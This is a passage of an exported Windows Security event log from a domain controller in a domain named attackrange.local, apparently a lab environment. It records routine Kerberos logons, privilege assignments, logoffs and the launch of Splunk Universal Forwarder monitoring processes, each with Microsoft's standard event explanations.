	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3CC912
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51319

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:05:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256201
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3CC912

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:06:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256204
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1120
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:06:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256206
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:06:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256205
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:06:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256208
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11f0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:06:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256207
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:06:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256209
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x328
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:06:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256210
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:06:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256214
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3CFF21

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:06:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256213
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3CFF21
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51334

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:06:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256212
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3CFF21

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:07:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256220
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D021A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:07:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256219
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3D021A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51338

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:07:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256218
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D021A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:07:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256217
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D01AE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:07:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256216
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3D01AE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51337

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:07:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256215
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D01AE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:07:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256221
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb44
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:07:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256234
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1370
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:07:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256233
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D0F0E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:07:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256232
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D101C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:07:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256231
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D1065

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:07:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256230
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3D10E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51342

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:07:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256229
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D10E7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:07:10 AM
LogName=Security
